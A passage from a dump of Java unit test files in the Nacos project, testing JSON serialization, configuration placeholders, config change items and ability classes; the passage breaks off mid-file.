    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\nclass ReleaseAgentCardResponseTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        ReleaseAgentCardResponse response = new ReleaseAgentCardResponse();\n        response.setRequestId(\"1\");\n        String json = mapper.writeValueAsString(response);\n        assertNotNull(json);\n        // ReleaseAgentCardResponse has no additional fields, just test basic serialization\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"requestId\\\":\\\"1\\\",\\\"success\\\":true}\";\n        ReleaseAgentCardResponse result = mapper.readValue(json, ReleaseAgentCardResponse.class);\n        assertNotNull(result);\n        // ReleaseAgentCardResponse has no additional fields, just test basic deserialization\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/response/ReleaseMcpServerResponseTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ReleaseMcpServerResponseTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        ReleaseMcpServerResponse response = new ReleaseMcpServerResponse();\n        String id = UUID.randomUUID().toString();\n        response.setRequestId(\"1\");\n        response.setMcpId(id);\n        String json = mapper.writeValueAsString(response);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(String.format(\"\\\"mcpId\\\":\\\"%s\\\"\", id)));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"requestId\\\":\\\"1\\\",\\\"mcpId\\\":\\\"12f418d5-22c0-4ed5-a37f-0286c5fe31c9\\\",\\\"success\\\":true}\";\n        ReleaseMcpServerResponse result = mapper.readValue(json, ReleaseMcpServerResponse.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(\"12f418d5-22c0-4ed5-a37f-0286c5fe31c9\", result.getMcpId());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/annotation/NacosPropertiesTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.annotation;\n\nimport org.junit.jupiter.api.Test;\nimport org.springframework.mock.env.MockEnvironment;\n\nimport static com.alibaba.nacos.api.annotation.NacosProperties.ACCESS_KEY_PLACEHOLDER;\nimport static com.alibaba.nacos.api.annotation.NacosProperties.CLUSTER_NAME_PLACEHOLDER;\nimport static com.alibaba.nacos.api.annotation.NacosProperties.CONTEXT_PATH_PLACEHOLDER;\nimport static com.alibaba.nacos.api.annotation.NacosProperties.ENCODE_PLACEHOLDER;\nimport static com.alibaba.nacos.api.annotation.NacosProperties.ENDPOINT_PLACEHOLDER;\nimport static com.alibaba.nacos.api.annotation.NacosProperties.NAMESPACE_PLACEHOLDER;\nimport static com.alibaba.nacos.api.annotation.NacosProperties.SECRET_KEY_PLACEHOLDER;\nimport static com.alibaba.nacos.api.annotation.NacosProperties.SERVER_ADDR_PLACEHOLDER;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass NacosPropertiesTest {\n    \n    @Test\n    void testPlaceholders() {\n        assertEquals(\"${nacos.endpoint:}\", ENDPOINT_PLACEHOLDER);\n        assertEquals(\"${nacos.namespace:}\", NAMESPACE_PLACEHOLDER);\n        assertEquals(\"${nacos.access-key:}\", ACCESS_KEY_PLACEHOLDER);\n        assertEquals(\"${nacos.secret-key:}\", SECRET_KEY_PLACEHOLDER);\n        assertEquals(\"${nacos.server-addr:}\", SERVER_ADDR_PLACEHOLDER);\n        assertEquals(\"${nacos.context-path:}\", CONTEXT_PATH_PLACEHOLDER);\n        assertEquals(\"${nacos.cluster-name:}\", CLUSTER_NAME_PLACEHOLDER);\n        assertEquals(\"${nacos.encode:UTF-8}\", ENCODE_PLACEHOLDER);\n    }\n    \n    @Test\n    void testResolvePlaceholders() {\n        testResolvePlaceholder(ENDPOINT_PLACEHOLDER, \"nacos.endpoint\", \"test-value\", \"test-value\");\n        testResolvePlaceholder(ENDPOINT_PLACEHOLDER, \"\", \"test-value\", \"\");\n        \n        testResolvePlaceholder(NAMESPACE_PLACEHOLDER, \"nacos.namespace\", \"test-value\", \"test-value\");\n        testResolvePlaceholder(NAMESPACE_PLACEHOLDER, \"\", \"test-value\", \"\");\n        \n        testResolvePlaceholder(ACCESS_KEY_PLACEHOLDER, \"nacos.access-key\", \"test-value\", \"test-value\");\n        testResolvePlaceholder(ACCESS_KEY_PLACEHOLDER, \"\", \"test-value\", \"\");\n        \n        testResolvePlaceholder(SECRET_KEY_PLACEHOLDER, \"nacos.secret-key\", \"test-value\", \"test-value\");\n        testResolvePlaceholder(SECRET_KEY_PLACEHOLDER, \"\", \"test-value\", \"\");\n        \n        testResolvePlaceholder(SERVER_ADDR_PLACEHOLDER, \"nacos.server-addr\", \"test-value\", \"test-value\");\n        testResolvePlaceholder(SERVER_ADDR_PLACEHOLDER, \"\", \"test-value\", \"\");\n        \n        testResolvePlaceholder(CONTEXT_PATH_PLACEHOLDER, \"nacos.context-path\", \"test-value\", \"test-value\");\n        testResolvePlaceholder(CONTEXT_PATH_PLACEHOLDER, \"\", \"test-value\", \"\");\n        \n        testResolvePlaceholder(CLUSTER_NAME_PLACEHOLDER, \"nacos.cluster-name\", \"test-value\", \"test-value\");\n        testResolvePlaceholder(CLUSTER_NAME_PLACEHOLDER, \"\", \"test-value\", \"\");\n        \n        testResolvePlaceholder(ENCODE_PLACEHOLDER, \"nacos.encode\", \"test-value\", \"test-value\");\n        testResolvePlaceholder(ENCODE_PLACEHOLDER, \"\", \"test-value\", \"UTF-8\");\n    }\n    \n    private void testResolvePlaceholder(String placeholder, String propertyName, String propertyValue,\n            String expectValue) {\n        MockEnvironment environment = new MockEnvironment();\n        environment.setProperty(propertyName, propertyValue);\n        String resolvedValue = environment.resolvePlaceholders(placeholder);\n        assertEquals(expectValue, resolvedValue);\n    }\n    \n    @Test\n    void testSort() {\n    \n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/cmdb/pojo/EntityEventTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.cmdb.pojo;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass EntityEventTest {\n    \n    ObjectMapper mapper = new ObjectMapper();\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialization() throws JsonProcessingException {\n        EntityEvent entity = new EntityEvent();\n        entity.setEntityName(\"test-entity\");\n        entity.setEntityType(\"CMDB\");\n        entity.setType(EntityEventType.ENTITY_ADD_OR_UPDATE);\n        String actual = mapper.writeValueAsString(entity);\n        System.out.println(actual);\n        assertTrue(actual.contains(\"\\\"entityName\\\":\\\"test-entity\\\"\"));\n        assertTrue(actual.contains(\"\\\"entityType\\\":\\\"CMDB\\\"\"));\n        assertTrue(actual.contains(\"\\\"type\\\":\\\"ENTITY_ADD_OR_UPDATE\\\"\"));\n    }\n    \n    @Test\n    void testDeserialization() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"ENTITY_REMOVE\\\",\\\"entityName\\\":\\\"test-entity\\\",\\\"entityType\\\":\\\"CMDB\\\"}\";\n        EntityEvent entity = mapper.readValue(json, EntityEvent.class);\n        assertEquals(\"test-entity\", entity.getEntityName());\n        assertEquals(\"CMDB\", entity.getEntityType());\n        assertEquals(EntityEventType.ENTITY_REMOVE, entity.getType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/cmdb/pojo/EntityTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.cmdb.pojo;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass EntityTest {\n    \n    ObjectMapper mapper = new ObjectMapper();\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialization() throws JsonProcessingException {\n        Entity entity = new Entity();\n        entity.setName(\"test-entity\");\n        entity.setType(PreservedEntityTypes.ip.name());\n        entity.setLabels(Collections.singletonMap(\"test-label-key\", \"test-label-value\"));\n        String actual = mapper.writeValueAsString(entity);\n        assertTrue(actual.contains(\"\\\"type\\\":\\\"ip\\\"\"));\n        assertTrue(actual.contains(\"\\\"name\\\":\\\"test-entity\\\"\"));\n        assertTrue(actual.contains(\"\\\"labels\\\":{\\\"test-label-key\\\":\\\"test-label-value\\\"}\"));\n    }\n    \n    @Test\n    void testDeserialization() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"service\\\",\\\"name\\\":\\\"test-entity\\\",\\\"labels\\\":{\\\"test-label-key\\\":\\\"test-label-value\\\"}}\";\n        Entity entity = mapper.readValue(json, Entity.class);\n        assertEquals(\"test-entity\", entity.getName());\n        assertEquals(PreservedEntityTypes.service.name(), entity.getType());\n        assertEquals(1, entity.getLabels().size());\n        assertTrue(entity.getLabels().containsKey(\"test-label-key\"));\n        assertEquals(\"test-label-value\", entity.getLabels().get(\"test-label-key\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/cmdb/pojo/LabelTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.cmdb.pojo;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass LabelTest {\n    \n    ObjectMapper mapper = new ObjectMapper();\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialization() throws JsonProcessingException {\n        Label label = new Label();\n        label.setName(\"test-label\");\n        label.setDescription(\"CMDB description\");\n        label.setValues(Collections.singletonMap(\"test-value\", \"test-value\").keySet());\n        String actual = mapper.writeValueAsString(label);\n        System.out.println(actual);\n        assertTrue(actual.contains(\"\\\"name\\\":\\\"test-label\\\"\"));\n        assertTrue(actual.contains(\"\\\"description\\\":\\\"CMDB description\\\"\"));\n        assertTrue(actual.contains(\"\\\"values\\\":[\\\"test-value\\\"]\"));\n    }\n    \n    @Test\n    void testDeserialization() throws JsonProcessingException {\n        String json = \"{\\\"values\\\":[\\\"test-value\\\"],\\\"name\\\":\\\"test-label\\\",\\\"description\\\":\\\"CMDB description\\\"}\";\n        Label label = mapper.readValue(json, Label.class);\n        assertEquals(\"test-label\", label.getName());\n        assertEquals(\"CMDB description\", label.getDescription());\n        assertEquals(1, label.getValues().size());\n        assertEquals(\"test-value\", label.getValues().iterator().next());\n    }\n    \n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/ConfigChangeEventTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass ConfigChangeEventTest {\n    \n    @Test\n    void testConstructor() {\n        Map<String, ConfigChangeItem> mockData = new HashMap<>();\n        mockData.put(\"test\", new ConfigChangeItem(\"testKey\", null, \"testValue\"));\n        ConfigChangeEvent event = new ConfigChangeEvent(mockData);\n        assertEquals(1, event.getChangeItems().size());\n        assertEquals(\"testKey\", event.getChangeItem(\"test\").getKey());\n        assertNull(event.getChangeItem(\"test\").getOldValue());\n        assertEquals(\"testValue\", event.getChangeItem(\"test\").getNewValue());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/ConfigChangeItemTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass ConfigChangeItemTest {\n    \n    @Test\n    void testSetNewValue() {\n        ConfigChangeItem item = new ConfigChangeItem(\"testKey\", null, \"testValue\");\n        item.setType(PropertyChangeType.ADDED);\n        assertEquals(\"testKey\", item.getKey());\n        assertNull(item.getOldValue());\n        assertEquals(\"testValue\", item.getNewValue());\n        assertEquals(PropertyChangeType.ADDED, item.getType());\n        item.setOldValue(\"testValue\");\n        item.setNewValue(\"testValue2\");\n        item.setType(PropertyChangeType.MODIFIED);\n        assertEquals(\"testKey\", item.getKey());\n        assertEquals(\"testValue\", item.getOldValue());\n        assertEquals(\"testValue2\", item.getNewValue());\n        assertEquals(PropertyChangeType.MODIFIED, item.getType());\n        \n        item.setKey(\"deletedKey\");\n        item.setType(PropertyChangeType.DELETED);\n        assertEquals(\"deletedKey\", item.getKey());\n        assertEquals(PropertyChangeType.DELETED, item.getType());\n    }\n    \n    @Test\n    void testToString() {\n        ConfigChangeItem item = new ConfigChangeItem(\"testKey\", null, \"testValue\");\n        item.setType(PropertyChangeType.ADDED);\n        assertEquals(\"ConfigChangeItem{key='testKey', oldValue='null', newValue='testValue', type=ADDED}\",\n                item.toString());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/ConfigFactoryTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.config.NacosConfigService;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass ConfigFactoryTest {\n    \n    @Test\n    void testCreateConfigServiceByPropertiesSuccess() throws NacosException {\n        NacosConfigService.IS_THROW_EXCEPTION.set(false);\n        assertNotNull(ConfigFactory.createConfigService(new Properties()));\n    }\n    \n    @Test\n    void testCreateConfigServiceByPropertiesFailure() {\n        NacosConfigService.IS_THROW_EXCEPTION.set(true);\n        assertThrows(NacosException.class, () -> ConfigFactory.createConfigService(new Properties()));\n    }\n    \n    @Test\n    void testCreateConfigServiceByServerAddrSuccess() throws NacosException {\n        NacosConfigService.IS_THROW_EXCEPTION.set(false);\n        assertNotNull(ConfigFactory.createConfigService(\"localhost:8848\"));\n    }\n    \n    @Test\n    void testCreateConfigServiceByServerAddrFailure() {\n        NacosConfigService.IS_THROW_EXCEPTION.set(true);\n        assertThrows(NacosException.class, () -> ConfigFactory.createConfigService(\"localhost:8848\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/ConfigTypeTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigTypeTest {\n    \n    @Test\n    void isValidType() {\n        assertTrue(ConfigType.isValidType(\"xml\"));\n        assertTrue(ConfigType.isValidType(\"properties\"));\n        assertTrue(ConfigType.isValidType(\"json\"));\n        assertTrue(ConfigType.isValidType(\"text\"));\n        assertTrue(ConfigType.isValidType(\"html\"));\n        assertTrue(ConfigType.isValidType(\"yaml\"));\n        assertTrue(ConfigType.isValidType(\"unset\"));\n        assertFalse(ConfigType.isValidType(\"\"));\n        assertFalse(ConfigType.isValidType(\"yml\"));\n    }\n    \n    @Test\n    void testGetDefaultType() {\n        assertEquals(\"text\", ConfigType.getDefaultType().getType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/ability/ClientRemoteAbilityTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.ability;\n\nimport com.alibaba.nacos.api.remote.ability.ClientRemoteAbility;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClientRemoteAbilityTest {\n    \n    private static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        ClientRemoteAbility abilities = new ClientRemoteAbility();\n        String json = mapper.writeValueAsString(abilities);\n        assertEquals(\"{\\\"supportRemoteConnection\\\":false}\", json);\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"supportRemoteConnection\\\":true}\";\n        ClientRemoteAbility abilities = mapper.readValue(json, ClientRemoteAbility.class);\n        assertTrue(abilities.isSupportRemoteConnection());\n    }\n    \n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/ability/ServerConfigAbilityTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.ability;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\n\nclass ServerConfigAbilityTest {\n    \n    @Test\n    void testEquals() {\n        ServerConfigAbility ability = new ServerConfigAbility();\n        ability.setSupportRemoteMetrics(true);\n        assertEquals(ability, ability);\n        assertNotEquals(null, ability);\n        assertNotEquals(ability, new ClientConfigAbility());\n        ServerConfigAbility newOne = new ServerConfigAbility();\n        assertNotEquals(ability, newOne);\n        newOne.setSupportRemoteMetrics(true);\n        assertEquals(ability, newOne);\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/ability/ServerRemoteAbilityTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.ability;\n\nimport com.alibaba.nacos.api.ability.ClientAbilities;\nimport com.alibaba.nacos.api.remote.ability.ServerRemoteAbility;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.MapperFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServerRemoteAbilityTest {\n    \n    private static ObjectMapper mapper;\n    \n    private ServerRemoteAbility serverAbilities;\n    \n    @BeforeAll\n    static void setUpBeforeClass() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n        mapper.enable(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY);\n    }\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        serverAbilities = new ServerRemoteAbility();\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        serverAbilities = new ServerRemoteAbility();\n        String json = mapper.writeValueAsString(serverAbilities);\n        assertTrue(json.contains(\"\\\"supportRemoteConnection\\\":false\"));\n        assertTrue(json.contains(\"\\\"grpcReportEnabled\\\":true\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"supportRemoteConnection\\\":true,\\\"grpcReportEnabled\\\":true}\";\n        ServerRemoteAbility abilities = mapper.readValue(json, ServerRemoteAbility.class);\n        assertTrue(abilities.isSupportRemoteConnection());\n        assertTrue(abilities.isGrpcReportEnabled());\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        assertEquals(serverAbilities, serverAbilities);\n        assertEquals(serverAbilities.hashCode(), serverAbilities.hashCode());\n        assertNotEquals(null, serverAbilities);\n        assertNotEquals(serverAbilities, new ClientAbilities());\n        ServerRemoteAbility test = new ServerRemoteAbility();\n        assertEquals(serverAbilities, test);\n        assertEquals(serverAbilities.hashCode(), test.hashCode());\n        test.setSupportRemoteConnection(true);\n        assertNotEquals(serverAbilities, test);\n        assertNotEquals(serverAbilities.hashCode(), test.hashCode());\n        test.setSupportRemoteConnection(false);\n        test.setGrpcReportEnabled(false);\n        assertNotEquals(serverAbilities, test);\n        assertNotEquals(serverAbilities.hashCode(), test.hashCode());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/listener/AbstractFuzzyWatchEventWatcherTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.listener;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass AbstractFuzzyWatchEventWatcherTest {\n    \n    private AbstractFuzzyWatchEventWatcher fuzzyWatchEventWatcher;\n    \n    @BeforeEach\n    void setUp() {\n        